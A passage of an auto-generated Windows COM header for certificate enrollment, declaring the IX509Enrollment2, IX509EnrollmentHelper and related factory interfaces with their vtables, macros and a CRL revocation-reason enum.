*get_Certificate )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Response )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateFriendlyName )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateFriendlyName )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateDescription )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateDescription )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestId )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CAConfigString )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InstallResponse2 )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerUrl,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerID,\n            /* [in] */ PolicyServerUrlFlags EnrollmentPolicyServerFlags,\n            /* [in] */ X509EnrollmentAuthFlags authFlags);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestIdString )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509Enrollment2Vtbl;\n\n    interface IX509Enrollment2\n    {\n        CONST_VTBL struct IX509Enrollment2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Enrollment2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Enrollment2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Enrollment2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Enrollment2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Enrollment2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Enrollment2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Enrollment2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Enrollment2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509Enrollment2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509Enrollment2_InitializeFromRequest(This,pRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromRequest(This,pRequest) ) \n\n#define IX509Enrollment2_CreateRequest(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRequest(This,Encoding,pValue) ) \n\n#define IX509Enrollment2_Enroll(This)\t\\\n    ( (This)->lpVtbl -> Enroll(This) ) \n\n#define IX509Enrollment2_InstallResponse(This,Restrictions,strResponse,Encoding,strPassword)\t\\\n    ( (This)->lpVtbl -> InstallResponse(This,Restrictions,strResponse,Encoding,strPassword) ) \n\n#define IX509Enrollment2_CreatePFX(This,strPassword,ExportOptions,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreatePFX(This,strPassword,ExportOptions,Encoding,pValue) ) \n\n#define IX509Enrollment2_get_Request(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Request(This,pValue) ) \n\n#define IX509Enrollment2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509Enrollment2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509Enrollment2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509Enrollment2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509Enrollment2_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#define IX509Enrollment2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509Enrollment2_get_Status(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,ppValue) ) \n\n#define IX509Enrollment2_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509Enrollment2_get_Response(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Response(This,Encoding,pValue) ) \n\n#define IX509Enrollment2_get_CertificateFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateFriendlyName(This,pValue) ) \n\n#define IX509Enrollment2_put_CertificateFriendlyName(This,strValue)\t\\\n    ( (This)->lpVtbl -> put_CertificateFriendlyName(This,strValue) ) \n\n#define IX509Enrollment2_get_CertificateDescription(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateDescription(This,pValue) ) \n\n#define IX509Enrollment2_put_CertificateDescription(This,strValue)\t\\\n    ( (This)->lpVtbl -> put_CertificateDescription(This,strValue) ) \n\n#define IX509Enrollment2_get_RequestId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestId(This,pValue) ) \n\n#define IX509Enrollment2_get_CAConfigString(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CAConfigString(This,pValue) ) \n\n\n#define IX509Enrollment2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509Enrollment2_InstallResponse2(This,Restrictions,strResponse,Encoding,strPassword,strEnrollmentPolicyServerUrl,strEnrollmentPolicyServerID,EnrollmentPolicyServerFlags,authFlags)\t\\\n    ( (This)->lpVtbl -> InstallResponse2(This,Restrictions,strResponse,Encoding,strPassword,strEnrollmentPolicyServerUrl,strEnrollmentPolicyServerID,EnrollmentPolicyServerFlags,authFlags) ) \n\n#define IX509Enrollment2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509Enrollment2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#define IX509Enrollment2_get_RequestIdString(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestIdString(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Enrollment2_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0088 */\n/* [local] */ \n\ntypedef \nenum WebEnrollmentFlags\n    {\n        EnrollPrompt\t= 0x1\n    } \tWebEnrollmentFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0088_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0088_v0_0_s_ifspec;\n\n#ifndef __IX509EnrollmentHelper_INTERFACE_DEFINED__\n#define __IX509EnrollmentHelper_INTERFACE_DEFINED__\n\n/* interface IX509EnrollmentHelper */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EnrollmentHelper;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab351-217d-11da-b2a4-000e7bbb2b09\")\n    IX509EnrollmentHelper : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE AddPolicyServer( \n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerURI,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyID,\n            /* [in] */ PolicyServerUrlFlags EnrollmentPolicyServerFlags,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE AddEnrollmentServer( \n            /* [in] */ __RPC__in BSTR strEnrollmentServerURI,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Enroll( \n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerURI,\n            /* [in] */ __RPC__in BSTR strTemplateName,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ WebEnrollmentFlags enrollFlags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext Context) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentHelperVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EnrollmentHelper * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EnrollmentHelper * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EnrollmentHelper * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *AddPolicyServer )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerURI,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyID,\n            /* [in] */ PolicyServerUrlFlags EnrollmentPolicyServerFlags,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *AddEnrollmentServer )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strEnrollmentServerURI,\n            /* [in] */ X509EnrollmentAuthFlags authFlags,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Enroll )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerURI,\n            /* [in] */ __RPC__in BSTR strTemplateName,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ WebEnrollmentFlags enrollFlags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509EnrollmentHelper * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        END_INTERFACE\n    } IX509EnrollmentHelperVtbl;\n\n    interface IX509EnrollmentHelper\n    {\n        CONST_VTBL struct IX509EnrollmentHelperVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EnrollmentHelper_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EnrollmentHelper_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EnrollmentHelper_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EnrollmentHelper_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EnrollmentHelper_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EnrollmentHelper_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EnrollmentHelper_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EnrollmentHelper_AddPolicyServer(This,strEnrollmentPolicyServerURI,strEnrollmentPolicyID,EnrollmentPolicyServerFlags,authFlags,strCredential,strPassword)\t\\\n    ( (This)->lpVtbl -> AddPolicyServer(This,strEnrollmentPolicyServerURI,strEnrollmentPolicyID,EnrollmentPolicyServerFlags,authFlags,strCredential,strPassword) ) \n\n#define IX509EnrollmentHelper_AddEnrollmentServer(This,strEnrollmentServerURI,authFlags,strCredential,strPassword)\t\\\n    ( (This)->lpVtbl -> AddEnrollmentServer(This,strEnrollmentServerURI,authFlags,strCredential,strPassword) ) \n\n#define IX509EnrollmentHelper_Enroll(This,strEnrollmentPolicyServerURI,strTemplateName,Encoding,enrollFlags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> Enroll(This,strEnrollmentPolicyServerURI,strTemplateName,Encoding,enrollFlags,pstrCertificate) ) \n\n#define IX509EnrollmentHelper_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EnrollmentHelper_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentWebClassFactory_INTERFACE_DEFINED__\n#define __IX509EnrollmentWebClassFactory_INTERFACE_DEFINED__\n\n/* interface IX509EnrollmentWebClassFactory */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EnrollmentWebClassFactory;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab349-217d-11da-b2a4-000e7bbb2b09\")\n    IX509EnrollmentWebClassFactory : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE CreateObject( \n            /* [in] */ __RPC__in BSTR strProgID,\n            /* [retval][out] */ __RPC__deref_out_opt IUnknown **ppIUnknown) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentWebClassFactoryVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EnrollmentWebClassFactory * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EnrollmentWebClassFactory * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EnrollmentWebClassFactory * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *CreateObject )( \n            __RPC__in IX509EnrollmentWebClassFactory * This,\n            /* [in] */ __RPC__in BSTR strProgID,\n            /* [retval][out] */ __RPC__deref_out_opt IUnknown **ppIUnknown);\n        \n        END_INTERFACE\n    } IX509EnrollmentWebClassFactoryVtbl;\n\n    interface IX509EnrollmentWebClassFactory\n    {\n        CONST_VTBL struct IX509EnrollmentWebClassFactoryVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EnrollmentWebClassFactory_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EnrollmentWebClassFactory_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EnrollmentWebClassFactory_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EnrollmentWebClassFactory_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EnrollmentWebClassFactory_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EnrollmentWebClassFactory_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EnrollmentWebClassFactory_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EnrollmentWebClassFactory_CreateObject(This,strProgID,ppIUnknown)\t\\\n    ( (This)->lpVtbl -> CreateObject(This,strProgID,ppIUnknown) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EnrollmentWebClassFactory_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509MachineEnrollmentFactory_INTERFACE_DEFINED__\n#define __IX509MachineEnrollmentFactory_INTERFACE_DEFINED__\n\n/* interface IX509MachineEnrollmentFactory */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509MachineEnrollmentFactory;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab352-217d-11da-b2a4-000e7bbb2b09\")\n    IX509MachineEnrollmentFactory : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE CreateObject( \n            /* [in] */ __RPC__in BSTR strProgID,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentHelper **ppIHelper) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509MachineEnrollmentFactoryVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509MachineEnrollmentFactory * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509MachineEnrollmentFactory * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509MachineEnrollmentFactory * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *CreateObject )( \n            __RPC__in IX509MachineEnrollmentFactory * This,\n            /* [in] */ __RPC__in BSTR strProgID,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentHelper **ppIHelper);\n        \n        END_INTERFACE\n    } IX509MachineEnrollmentFactoryVtbl;\n\n    interface IX509MachineEnrollmentFactory\n    {\n        CONST_VTBL struct IX509MachineEnrollmentFactoryVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509MachineEnrollmentFactory_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509MachineEnrollmentFactory_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509MachineEnrollmentFactory_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509MachineEnrollmentFactory_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509MachineEnrollmentFactory_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509MachineEnrollmentFactory_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509MachineEnrollmentFactory_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509MachineEnrollmentFactory_CreateObject(This,strProgID,ppIHelper)\t\\\n    ( (This)->lpVtbl -> CreateObject(This,strProgID,ppIHelper) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509MachineEnrollmentFactory_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0091 */\n/* [local] */ \n\ntypedef \nenum CRLRevocationReason\n    {\n        XCN_CRL_REASON_UNSPECIFIED\t= 0,\n        XCN_CRL_REASON_KEY_COMPROMISE\t= 1,\n        XCN_CRL_REASON_CA_COMPROMISE\t= 2,\n        XCN_CRL_REASON_AFFILIATION_CHANGED\t= 3,\n        XCN_CRL_REASON_SUPERSEDED\t= 4,\n        XCN_CRL_REASON_CESSATION_OF_OPERATION\t= 5,\n        XCN_CRL_REASON_CERTIFICATE_HOLD\t= 6,\n        XCN_CRL_REASON_REMOVE_FROM_CRL\t= 8,\n        XCN_CRL_REASON_PRIVILEGE_WITHDRAWN\t= 9,\n        XCN_CRL_REASON_AA_COMPROMISE\t= 10\n    } \tCRLRevocationReason;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0091_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0091_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateRevocationListEntry_INTERFACE_DEFINED__\n#define __IX509CertificateRevocationListEntry_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRevocationListEntry */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRevocationListEntry;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35e-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRevocationListEntry : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR SerialNumber,\n            /* [in] */ DATE RevocationDate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SerialNumber( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE 